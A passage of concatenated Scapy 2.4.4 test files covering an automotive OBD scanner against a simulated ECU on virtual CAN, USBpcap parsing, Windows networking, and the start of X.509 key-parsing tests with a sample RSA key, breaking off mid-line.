conf.contribs['ECU_am']['send_delay'] = 0.004 = Definition of constants, utility functions and mock classes iface0 = "vcan0" iface1 = "vcan1" # function to exit when the can-isotp kernel module is not available ISOTP_KERNEL_MODULE_AVAILABLE = False def exit_if_no_isotp_module(): if not ISOTP_KERNEL_MODULE_AVAILABLE: err = "TEST SKIPPED: can-isotp not available\n" sys.__stderr__.write(err) warning("Can't test ISOTP native socket because kernel module is not loaded") exit(0) def temporary_skip_unstable_test(): err = "TEST SKIPPED: Unstable unit test. Stabilize me!\n" sys.__stderr__.write(err) warning("Unstable unit test. FIXME!") exit(0) = Initialize a virtual CAN interface if 0 != call(["cansend", iface0, "000#"]): # vcan0 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface0, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface0) if 0 != call(["sudo", "ip", "link", "set", "dev", iface0, "up"]): raise Exception("could not bring up %s" % iface0) if 0 != call(["cansend", iface0, "000#"]): raise Exception("cansend doesn't work") if 0 != call(["cansend", iface1, "000#"]): # vcan1 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface1, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface1) if 0 != call(["sudo", "ip", "link", "set", "dev", iface1, "up"]): raise Exception("could not bring up %s" % iface1) if 0 != call(["cansend", iface1, "000#"]): raise Exception("cansend doesn't work") print("CAN should work now") if six.PY3 and not conf.use_pypy: from scapy.contrib.cansocket_native import * else: from scapy.contrib.cansocket_python_can import * if "python_can" in CANSocket.__module__: new_can_socket = lambda iface: CANSocket(bustype='socketcan', channel=iface) new_can_socket0 = lambda: CANSocket(bustype='socketcan', channel=iface0, timeout=0.01) new_can_socket1 = lambda: CANSocket(bustype='socketcan', channel=iface1, timeout=0.01) can_socket_string_list = ["-i", "socketcan", "-c", iface0] else: new_can_socket = lambda iface: CANSocket(iface) new_can_socket0 = lambda: CANSocket(iface0) new_can_socket1 = lambda: CANSocket(iface1) can_socket_string_list = ["-c", iface0] # utility function for draining a can interface, asserting that no packets are there def drain_bus(iface=iface0, assert_empty=True): with new_can_socket(iface) as s: pkts = s.sniff(timeout=0.1) if assert_empty: assert len(pkts) == 0 = Verify that a CAN socket can be created and closed s = new_can_socket(iface0) s.close() = Check if can-isotp and can-utils are installed on this system p1 = subprocess.Popen(['lsmod'], stdout = subprocess.PIPE) p2 = subprocess.Popen(['grep', '^can_isotp'], stdout = subprocess.PIPE, stdin=p1.stdout) p1.stdout.close() if p1.wait() == 0 and p2.wait() == 0 and b"can_isotp" in p2.stdout.read(): p = subprocess.Popen(["isotpsend", "-s1", "-d0", iface0], stdin = subprocess.PIPE) p.communicate(b"01") if p.returncode == 0: ISOTP_KERNEL_MODULE_AVAILABLE = True + Syntax check = Import isotp conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': ISOTP_KERNEL_MODULE_AVAILABLE} if six.PY3: import importlib if "scapy.contrib.isotp" in sys.modules: importlib.reload(scapy.contrib.isotp) load_contrib("isotp", globals_dict=globals()) if six.PY3 and ISOTP_KERNEL_MODULE_AVAILABLE: assert ISOTPSocket == ISOTPNativeSocket else: assert ISOTPSocket == ISOTPSoftSocket + Usage tests = Test wrong usage print(sys.executable) result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) returncode = result.wait() std_out, std_err = result.communicate() assert returncode != 0 expected_output = plain_str(b'usage:') assert expected_output in plain_str(std_err) = Test show help result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py", "--help"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) assert result.wait() == 0 std_out, std_err = result.communicate() expected_output = plain_str(b'Scan for all possible obd service classes and their subfunctions.') assert expected_output in plain_str(std_out) = Test wrong socket for Python2 or Windows if six.PY2: version = subprocess.Popen(["python2", "--version"], stdout=subprocess.PIPE) result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py", "-c", "vcan0", "-s", "0x600", "-d", "0x601", "-t", "0.001"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) assert result.wait() == 1 expected_output = plain_str(b'Please provide all required arguments.') std_out, std_err = result.communicate() assert expected_output in plain_str(std_err) = Test Python2 call if six.PY2: result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py", "-i", "socketcan", "-c", "vcan0", "-s", "0x600", "-d", "0x601", "-v", "-t", "0.001"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) returncode = result.wait() std_out, std_err = result.communicate() assert returncode == 0 expected_output = plain_str(b'Starting OBD-Scan...') assert expected_output in plain_str(std_out) = Test Python2 call with python-can args if six.PY2: result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py", "-i", "socketcan", "-c", "vcan0", "-s", "0x600", "-d", "0x601", "-v", "-a", "bitrate=250000", "-t", "0.001"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) returncode = result.wait() std_out, std_err = result.communicate() assert returncode == 0 expected_output = plain_str(b'Starting OBD-Scan...') assert expected_output in plain_str(std_out) + Scan tests = Load contribution layer from scapy.contrib.automotive.obd.obd import * + Simulate scanner = Test DTC scan drain_bus(iface0) s3 = OBD()/OBD_S03_PR(dtcs=[OBD_DTC()]) example_responses = [ECUResponse(session=range(0,255), security_level=0, responses=s3)] with new_can_socket0() as isocan, ISOTPSocket(isocan, 0x7e8, 0x7e0, basecls=OBD, padding=True) as ecu, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, 0x7e0, 0x7e8, basecls=OBD, padding=True) as tester: conf.verb = -1 answering_machine = ECU_am(supported_responses=example_responses, main_socket=ecu, basecls=OBD, verbose=False) sim = threading.Thread(target=answering_machine, kwargs={'verbose': False, 'timeout': 15, 'stop_filter': lambda p: bytes(p) == b"\x01\xff\xff\xff\xff"}) sim.start() try: result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"] + can_socket_string_list + ["-s", "0x7e0", "-d", "0x7e8", "-t", "0.30"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out1, std_err1 = result.communicate() result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"] + can_socket_string_list + ["-s", "0x7e0", "-d", "0x7e8", "-t", "0.30"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out2, std_err2 = result.communicate() except Exception as e: print(e) finally: tester.send(b"\x01\xff\xff\xff\xff") sim.join(timeout=10) expected_output = b"1 requests were sent, 1 answered" assert bytes_encode(expected_output) in bytes_encode(std_out1) or bytes_encode(expected_output) in bytes_encode(std_out2) = Test supported PIDs scan drain_bus(iface0) s1_pid00 = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID00(supported_pids="PID03+PID0B+PID0F")]) s6_mid00 = OBD()/OBD_S06_PR(data_records=[OBD_S06_PR_Record()/OBD_MID00(supported_mids="")]) s8_tid00 = OBD()/OBD_S08_PR(data_records=[OBD_S08_PR_Record()/OBD_TID00(supported_tids="")]) s9_iid00 = OBD()/OBD_S09_PR(data_records=[OBD_S09_PR_Record()/OBD_IID00(supported_iids="")]) s1_pid03 = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID03(fuel_system1=0, fuel_system2=2)]) s1_pid0B = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID0B(data=100)]) s1_pid0F = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID0F(data=50)]) # Create answers for 'supported PIDs scan' example_responses = \ [ECUResponse(session=range(0, 255), security_level=0, responses=s3), ECUResponse(session=range(0, 255), security_level=0, responses=s1_pid00), ECUResponse(session=range(0, 255), security_level=0, responses=s6_mid00), ECUResponse(session=range(0, 255), security_level=0, responses=s8_tid00), ECUResponse(session=range(0, 255), security_level=0, responses=s9_iid00), ECUResponse(session=range(0, 255), security_level=0, responses=s1_pid03), ECUResponse(session=range(0, 255), security_level=0, responses=s1_pid0B), ECUResponse(session=range(0, 255), security_level=0, responses=s1_pid0F)] with new_can_socket0() as isocan, ISOTPSocket(isocan, 0x7e8, 0x7e0, basecls=OBD, padding=True) as ecu, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, 0x7e0, 0x7e8, basecls=OBD, padding=True) as tester: answering_machine = ECU_am(supported_responses=example_responses, main_socket=ecu, basecls=OBD, verbose=False) sim = threading.Thread(target=answering_machine, kwargs={'verbose': False, 'timeout': 100, 'stop_filter': lambda p: bytes(p) == b"\x01\xff\xff\xff\xff"}) sim.start() try: result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"] + can_socket_string_list + ["-s", "0x7e0", "-d", "0x7e8", "-t", "0.30"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out1, std_err1 = result.communicate() result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"] + can_socket_string_list + ["-s", "0x7e0", "-d", "0x7e8", "-t", "0.30"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out2, std_err2 = result.communicate() except Exception as e: print(e) finally: tester.send(b"\x01\xff\xff\xff\xff") sim.join(timeout=10) expected_output = ["5 requests were sent, 4 answered", "2 requests were sent, 1 answered", "1 requests were sent, 1 answered"] for out in expected_output: assert bytes_encode(out) in bytes_encode(std_out1) or bytes_encode(out) in bytes_encode(std_out2) = Test only Service 01 PIDs scan drain_bus(iface0) s1_pid00 = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID00(supported_pids="PID03+PID0B+PID0F")]) s6_mid00 = OBD()/OBD_S06_PR(data_records=[OBD_S06_PR_Record()/OBD_MID00(supported_mids="")]) s8_tid00 = OBD()/OBD_S08_PR(data_records=[OBD_S08_PR_Record()/OBD_TID00(supported_tids="")]) s9_iid00 = OBD()/OBD_S09_PR(data_records=[OBD_S09_PR_Record()/OBD_IID00(supported_iids="")]) s1_pid03 = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID03(fuel_system1=0, fuel_system2=2)]) s1_pid0B = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID0B(data=100)]) s1_pid0F = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID0F(data=50)]) # Create answers for 'supported PIDs scan' example_responses = \ [ECUResponse(session=range(0, 255), security_level=0, responses=s3), ECUResponse(session=range(0, 255), security_level=0, responses=s1_pid00), ECUResponse(session=range(0, 255), security_level=0, responses=s6_mid00), ECUResponse(session=range(0, 255), security_level=0, responses=s8_tid00), ECUResponse(session=range(0, 255), security_level=0, responses=s9_iid00), ECUResponse(session=range(0, 255), security_level=0, responses=s1_pid03), ECUResponse(session=range(0, 255), security_level=0, responses=s1_pid0B), ECUResponse(session=range(0, 255), security_level=0, responses=s1_pid0F)] with new_can_socket0() as isocan, ISOTPSocket(isocan, 0x7e8, 0x7e0, basecls=OBD, padding=True) as ecu, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, 0x7e0, 0x7e8, basecls=OBD, padding=True) as tester: answering_machine = ECU_am(supported_responses=example_responses, main_socket=ecu, basecls=OBD, verbose=False) sim = threading.Thread(target=answering_machine, kwargs={'verbose': False, 'timeout': 100, 'stop_filter': lambda p: bytes(p) == b"\x01\xff\xff\xff\xff"}) sim.start() try: result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"] + can_socket_string_list + ["-s", "0x7e0", "-d", "0x7e8", "-t", "0.30", "-1"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out1, std_err1 = result.communicate() result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"] + can_socket_string_list + ["-s", "0x7e0", "-d", "0x7e8", "-t", "0.30", "-1"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out2, std_err2 = result.communicate() except Exception as e: print(e) finally: tester.send(b"\x01\xff\xff\xff\xff") sim.join(timeout=10) expected_output = ["5 requests were sent, 4 answered"] for out in expected_output: assert bytes_encode(out) in bytes_encode(std_out1) or bytes_encode(out) in bytes_encode(std_out2) = Test full scan drain_bus(iface0) # Add unsupported PID s1_pid01 = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID01()]) example_responses.append(ECUResponse(session=range(0,255), security_level=0, responses=s1_pid01)) with new_can_socket0() as isocan, ISOTPSocket(isocan, 0x7e8, 0x7e0, basecls=OBD, padding=True) as ecu, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, 0x7e0, 0x7e8, basecls=OBD, padding=True) as tester: answering_machine = ECU_am(supported_responses=example_responses, main_socket=ecu, basecls=OBD, verbose=False) sim = threading.Thread(target=answering_machine, kwargs={'verbose': False, 'timeout': 100, 'stop_filter': lambda p: bytes(p) == b"\x01\xff\xff\xff\xff"}) sim.start() try: result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"] + can_socket_string_list + ["-s", "0x7e0", "-d", "0x7e8", "-t", "0.30", "-f", "-1", "-3"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out1, std_err1 = result.communicate() result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"] + can_socket_string_list + ["-s", "0x7e0", "-d", "0x7e8", "-t", "0.30", "-f", "-1", "-3"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out2, std_err2 = result.communicate() except Exception as e: print(e) finally: tester.send(b"\x01\xff\xff\xff\xff") sim.join(timeout=10) expected_output = ["256 requests were sent", "1 requests were sent, 1 answered"] for out in expected_output: assert bytes_encode(out) in bytes_encode(std_out1) or bytes_encode(out) in bytes_encode(std_out2) + Cleanup = Cleanup if 0 != call(["sudo", "ip", "link", "delete", "vcan0"]): raise Exception("vcan0 could not be deleted") if 0 != call(["sudo", "ip", "link", "delete", "vcan1"]): raise Exception("vcan1 could not be deleted") scapy-2.4.4/test/usb.uts000066400000000000000000000133551372370053500151610ustar00rootroot00000000000000% Scapy USB tests + USBpcap tests = load module load_layer("usb") = linklayer test data = b"\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\xf9\x00\x00\x00\xb6\xaau[B\xd7\n\x00'\x00\x00\x00'\x00\x00\x00\x1b\x00\x008\xeeM\n\x97\xff\xff\x00\x00\x00\x00\t\x00\x01\x01\x00\x04\x00\x81\x01\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbd\xaau[\xdc\x88\x0c\x00$\x00\x00\x00$\x00\x00\x00\x1c\x000g4K\n\x97\xff\xff\x00\x00\x00\x00\x0b\x00\x00\x01\x00\x05\x00\x00\x02\x08\x00\x00\x00\x00\x80\x06\x00\x01\x00\x00\x12\x00\xbd\xaau[}\xa7\x0c\x00.\x00\x00\x00.\x00\x00\x00\x1c\x000g4K\n\x97\xff\xff\x00\x00\x00\x00\x0b\x00\x01\x01\x00\x05\x00\x00\x02\x12\x00\x00\x00\x01\x12\x01\x10\x02\x00\x00\x00@^\x04\xe8\x07\x07\x02\x01\x02\x00\x01\xbd\xaau[\x7f\xa7\x0c\x00\x1c\x00\x00\x00\x1c\x00\x00\x00\x1c\x000g4K\n\x97\xff\xff\x00\x00\x00\x00\x0b\x00\x01\x01\x00\x05\x00\x00\x02\x00\x00\x00\x00\x02\xbd\xaau[\x8d\xa7\x0c\x00$\x00\x00\x00$\x00\x00\x00\x1c\x00\x10\xe0\x98J\n\x97\xff\xff\x00\x00\x00\x00\x0b\x00\x00\x01\x00\x05\x00\x00\x02\x08\x00\x00\x00\x00\x80\x06\x00\x02\x00\x00\t\x00" pcap = rdpcap(six.BytesIO(data)) pkt1 = USBpcap(function=9, info=1, endpoint=129, res=0, transfer=1, usbd_status=0, dataLength=12, bus=1, device=4, irpId=18446628669245765632, headerLen=27)/Raw(load=b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert raw(pcap[0]) == raw(pkt1) assert isinstance(pcap[0], USBpcap) pkt2 = USBpcap(function=11, info=0, endpoint=0, res=0, transfer=2, usbd_status=0, dataLength=8, bus=1, device=5, irpId=18446628669200033584, headerLen=28)/USBpcapTransferControl(stage=0)/Raw(load=b'\x80\x06\x00\x01\x00\x00\x12\x00') assert raw(pcap[1]) == raw(pkt2) assert USBpcap in pcap[1] assert USBpcapTransferControl in pcap[1] = USBpcapTransferIsochronous pkt = USBpcap(irpId=0x359275, function=0x1235, info=10, bus=35)/USBpcapTransferIsochronous(usbd_status=0x40000000) assert raw(pkt) == b"'\x00u\x925\x00\x00\x00\x00\x00\x00\x00\x00\x005\x12\n#\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@" = USBpcapTransferInterrupt pkt = USBpcap(irpId=0x359275, function=0x1235, info=10, bus=35)/USBpcapTransferInterrupt(startFrame=0x40000000, numberOfPackets=0x80000000, errorCount=2) assert raw(pkt) == b"'\x00u\x925\x00\x00\x00\x00\x00\x00\x00\x00\x005\x12\n#\x00\x00\x00\x00\x01\x0c\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x80\x02\x00\x00\x00" = USBpcapTransferControl pkt = USBpcap(irpId=0x359275, function=0x1235, info=10, bus=35)/USBpcapTransferControl(stage=11) assert raw(pkt) == b'\x1c\x00u\x925\x00\x00\x00\x00\x00\x00\x00\x00\x005\x12\n#\x00\x00\x00\x00\x02\x01\x00\x00\x00\x0b' = mocked get_usbpcap_interfaces() ~ mock windows import mock @mock.patch("scapy.layers.usb.subprocess.Popen") def test_get_usbpcap_interfaces(mock_Popen): conf.prog.usbpcapcmd = "C:/the_program_is_not_installed__test_only" data = """ interface {value=\\\\.\\USBPcap1}{display=USBPcap1} """ mock_Popen.side_effect = lambda *args, **kwargs: Bunch(returncode=0, communicate=(lambda *args, **kargs: (data,None))) assert get_usbpcap_interfaces() == [('\\\\.\\USBPcap1', 'USBPcap1')] test_get_usbpcap_interfaces() = mocked get_usbpcap_devices() ~ mock windows import mock @mock.patch("scapy.layers.usb.subprocess.Popen") def test_get_usbpcap_devices(mock_Popen): conf.prog.usbpcapcmd = "C:/the_program_is_not_installed__test_only" data = """ arg {number=0}{call=--snaplen}{display=Snapshot length}{tooltip=Snapshot length}{type=integer}{range=0,65535}{default=65535} arg {number=1}{call=--bufferlen}{display=Capture buffer length}{tooltip=USBPcap kernel-mode capture buffer length in bytes}{type=integer}{range=0,134217728}{default=1048576} arg {number=2}{call=--capture-from-all-devices}{display=Capture from all devices connected}{tooltip=Capture from all devices connected despite other options}{type=boolflag}{default=true} arg {number=3}{call=--capture-from-new-devices}{display=Capture from newly connected devices}{tooltip=Automatically start capture on all newly connected devices}{type=boolflag}{default=true} arg {number=99}{call=--devices}{display=Attached USB Devices}{tooltip=Select individual devices to capture from}{type=multicheck} value {arg=99}{value=2}{display=[2] Marvell AVASTAR Bluetooth Radio Adapter}{enabled=true} value {arg=99}{value=3}{display=[3] Peripherique d entree USB}{enabled=true} value {arg=99}{value=3_1}{display=Surface Type Cover Filter Device}{enabled=false}{parent=3} value {arg=99}{value=3_2}{display=Souris HID}{enabled=false}{parent=3} value {arg=99}{value=3_3}{display=Peripherique de control consommateur conforme aux Peripheriques d'interface utilisateur (HID)}{enabled=false}{parent=3} value {arg=99}{value=3_4}{display=Surface Pro 4 Type Cover Integration}{enabled=false}{parent=3} value {arg=99}{value=3_5}{display=Surface Keyboard Backlight}{enabled=false}{parent=3_4} value {arg=99}{value=3_6}{display=Surface Pro 4 Firmware Update}{enabled=false}{parent=3_4} value {arg=99}{value=3_7}{display=Peripherique fournisseur HID}{enabled=false}{parent=3} value {arg=99}{value=3_8}{display=Surface PTP Filter}{enabled=false}{parent=3} value {arg=99}{value=3_9}{display=Microsoft Input Configuration Device}{enabled=false}{parent=3} value {arg=99}{value=3_10}{display=Peripherique fournisseur HID}{enabled=false}{parent=3} value {arg=99}{value=3_11}{display=Peripherique fournisseur HID}{enabled=false}{parent=3} value {arg=99}{value=3_12}{display=Peripherique fournisseur HID}{enabled=false}{parent=3} """ mock_Popen.side_effect = lambda *args, **kwargs: Bunch(returncode=0, communicate=(lambda *args, **kargs: (data,None))) assert get_usbpcap_devices('\\\\.\\USBPcap1') == [('2', '[2] Marvell AVASTAR Bluetooth Radio Adapter', True),('3', '[3] Peripherique d entree USB', True)] test_get_usbpcap_devices() scapy-2.4.4/test/windows.uts000066400000000000000000000054641372370053500160640ustar00rootroot00000000000000% Regression tests on Windows only for Scapy # More information at http://www.secdev.org/projects/UTscapy/ + Configuration = Imports import mock ############ ############ + Mechanics tests = Automaton - SelectableSelector system timeout class TimeOutSelector(SelectableObject): def check_recv(self): return False assert select_objects([TimeOutSelector()], 0) == [] assert select_objects([TimeOutSelector()], 1) == [] ############ ############ + Windows arch unit tests = Test pcapname iface = conf.iface assert pcapname(iface.name) == iface.pcap_name assert pcapname(iface.description) == iface.pcap_name assert pcapname(iface.pcap_name) == iface.pcap_name = show_interfaces from scapy.arch import show_interfaces with ContextManagerCaptureOutput() as cmco: show_interfaces() lines = cmco.get_output().split("\n")[1:] for l in lines: if not l.strip(): continue int(l[:2]) = dev_from_pcapname from scapy.config import conf assert dev_from_pcapname(conf.iface.pcap_name).guid == conf.iface.guid = test pcap_service_status status = pcap_service_status() assert status = test pcap_service_stop ~ appveyor_only require_gui pcap_service_stop() assert pcap_service_status()[2] == False = test pcap_service_start ~ appveyor_only require_gui pcap_service_start() assert pcap_service_status()[2] == True = Test auto-pcap start UI @mock.patch("scapy.arch.windows.get_windows_if_list") def _test_autostart_ui(mocked_getiflist): mocked_getiflist.side_effect = lambda: [] IFACES.reload() assert all(x.win_index < 0 for x in IFACES.data.values()) try: old_ifaces = IFACES.data.copy() _test_autostart_ui() finally: IFACES.data = old_ifaces ######### Native mode ########### + Test Windows Native sockets = Set up native mode conf.use_pcap = False assert conf.use_pcap == False = Prepare ping: open firewall & get current seq number ~ netaccess needs_root # Note: this method is complicated, but allow us to perform a real test # it is discouraged otherwise. Npcap/Winpcap does NOT require such mechanics # output of this may vary, but it doesn't matter: # if it fails the teat below won't work open_icmp_firewall("www.google.com") seq = get_current_icmp_seq() assert seq > 0 True = Ping ~ netaccess needs_root with conf.L3socket() as a: answer = a.sr1(IP(dst="www.google.com", ttl=128)/ICMP(id=1, seq=seq)/"abcdefghijklmnopqrstuvwabcdefghi", timeout=2) answer.show() assert ICMP in answer = DNS lookup ~ netaccess needs_root require_gui % XXX currently disabled def _test(): answer = sr1(IP(dst="8.8.8.8")/UDP()/DNS(rd=1, qd=DNSQR(qname="www.google.com")), timeout=2) answer.show() assert DNS in answer assert answer.qd.qname == b'www.google.com.' retry_test(_test) = Leave native mode conf.use_pcap = True assert conf.use_pcap == True scapy-2.4.4/test/x509.uts000066400000000000000000000466501372370053500151010ustar00rootroot00000000000000% Tests for X.509 objects # # Try me with: # bash test/run_tests -t test/x509.uts -F ########### ASN.1 border case ####################################### + General BER decoding tests = Decoding an ASN.1 SEQUENCE with an unknown, high-tag identifier from scapy.layers.x509 import ASN1P_PRIVSEQ s = b'\xff\x84\x92\xb9\x86H\x1e0\x1c\x16\x04BNCH\x04\x14\xb7\xca\x01wO\x9b\xbaz\xbb\xb5\x92\x87>T\xb2\xc3g\xc1]\xfb' p = ASN1P_PRIVSEQ(s) ########### Key class ############################################### + Private RSA & ECDSA keys class tests = Key class : Importing DER encoded RSA private key from scapy.layers.x509 import RSAPrivateKey k = base64_bytes('MIIEowIBAAKCAQEAmFdqP+nTEZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5QReDbb2L5/HL\nA9pPmIeQLSq/BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3yilvYJ4W9\n/NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA1o32zpuFBrJd\nI8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkmTL1SGhzwfinM\nE1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvzAwIDAQABAoIBAH3KeJZL2hhI\n/1GXNMaU/PfDgFkgmYbxMA8JKusnm/SFjxAwBGnGI6UjBXpBgpQs2Nqm3ZseF9u8hmCKvGiCEX2G\nesCo2mSfmSQxD6RBrMTuQ99UXpxzBIscFnM/Zrs8lPBARGzmF2nI3qPxXtex4ABX5o0Cd4NfZlZj\npj96skUoO8+bd3I4OPUFYFFFuv81LoSQ6Hew0a8xtJXtKkDp9h1jTGGUOc189WACNoBLH0MGeVoS\nUfc1++RcC3cypUZ8fNP1OO6GBfv06f5oXES4ZbxGYpa+nCfNwb6V2gWbkvaYm7aFn0KWGNZXS1P3\nOcWv6IWdOmg2CI7MMBLJ0LyWVCECgYEAyMJYw195mvHl8VyxJ3HkxeQaaozWL4qhNQ0Kaw+mzD+j\nYdkbHb3aBYghsgEDZjnyOVblC7I+4smvAZJLWJaf6sZ5HAw3zmj1ibCkXx7deoRc/QVcOikl3dE/\nymO0KGJNiGzJZmxbRS3hTokmVPuxSWW4p5oSiMupFHKa18Uv8DECgYEAwkJ7iTOUL6b4e3lQuHQn\nJbsiQpd+P/bsIPP7kaaHObewfHpfOOtIdtN4asxVFf/PgW5uWmBllqAHZYR14DEYIdL+hdLrdvk5\nnYQ3YfhOnp+haHUPCdEiXrRZuGXjmMA4V0hL3HPF5ZM8H80fLnN8Pgn2rIC7CZQ46y4PnoV1nXMC\ngYBBwCUCF8rkDEWa/ximKo8aoNJmAypC98xEa7j1x3KBgnYoHcrbusok9ajTe7F5UZEbZnItmnsu\nG4/Nm/RBV1OYuNgBb573YzjHl6q93IX9EkzCMXc7NS7JrzaNOopOj6OFAtwTR3m89oHMDu8W9jfi\nKgaIHdXkJ4+AuugrstE4gQKBgFK0d1/8g7SeA+Cdz84YNaqMt5NeaDPXbsTA23QxUBU0rYDxoKTd\nFybv9a6SfA83sCLM31K/A8FTNJL2CDGA9WNBL3fOSs2GYg88AVBGpUJHeDK+0748OcPUSPaG+pVI\nETSn5RRgffq16r0nWYUvSdAn8cuTqw3y+yC1pZS6AU8dAoGBAL5QCi0dTWKN3kf3cXaCAnYiWe4Q\ng2S+SgLE+F1U4Xws2rqAuSvIiuT5i5+Mqk9ZCGdoReVbAovJFoRqe7Fj9yWM+b1awGjL0bOTtnqx\n0iljob6uFyhpl1xgW3a3ICJ/ZYLvkgb4IBEteOwWpp37fX57vzhW8EmUV2UX7ve1uNRI') x=RSAPrivateKey(k) = Key class : key version x.version == ASN1_INTEGER(0) = Key class : key modulus x.modulus == ASN1_INTEGER(19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163) = Key class : key public exponent x.publicExponent == ASN1_INTEGER(65537) = Key class : key private exponent x.privateExponent == ASN1_INTEGER(15879630313397508329451198152673380989865598204237760057319927734227125481903063742175442230739018051313441697936698689753842471306305671266572085925009572141819112648211571007521954312641597446020984266846581125287547514750428503480880603089110687015181510081018160579576523796170439894692640171752302225125980423560965987469457505107324833137678663960560798216976668670722016960863268272661588745006387723814962668678285659376534048525020951633874488845649968990679414325096323920666486328886913648207836459784281744709948801682209478580185160477801656666089536527545026197569990716720623647770979759861119273292833) = Key class : key prime1 x.prime1 == ASN1_INTEGER(140977881300857803928857666115326329496639762170623218602431133528876162476487960230341078724702018316260690172014674492782486113504117653531825010840338251572887403113276393351318549036549656895326851872473595350667293402676143426484331639796163189182788306480699144107905869179435145810212051656274284113969) = Key class : key prime2 x.prime2 == ASN1_INTEGER(136413798668820291889092636919077529673097927884427227010121877374504825870002258140616512268521246045642663981036167305976907058413796938050224182519965099316625879807962173794483933183111515251808827349718943344770056106787713032506379905031673992574818291891535689493330517205396872699985860522390496583027) = Key class : key exponent1 x.exponent1 == ASN1_INTEGER(46171616708754015342920807261537213121074749458020000367465429453038710215532257783908950878847126373502288079285334594398328912526548076894076506899568491565992572446455658740752572386903609191774044411412991906964352741123956581870694330173563737928488765282233340389888026245745090096745219902501964298369) = Key class : key exponent2 x.exponent2 == ASN1_INTEGER(58077388505079936284685944662039782610415160654764308528562806086690474868010482729442634318267235411531220690585030443434512729356878742778542733733189895801341155353491318998637269079682889033003797865508917973141494201620317820971253064836562060222814287812344611566640341960495346782352037479526674026269) = Key class : key coefficient x.coefficient == ASN1_INTEGER(133642091354977099805228515340626956943759840737228695249787077343495440064451558090846230978708992851702164116059746794777336918772240719297253693109788134358485382183551757562334253896010728509892421673776502933574360356472723011839127418477652997263867089539752161307227878233961465798519818890416647361608) ########### Cert class ############################################## + X509_Cert class tests = Cert class : Importing DER encoded X.509 Certificate with RSA public key from scapy.layers.x509 import X509_Cert c = 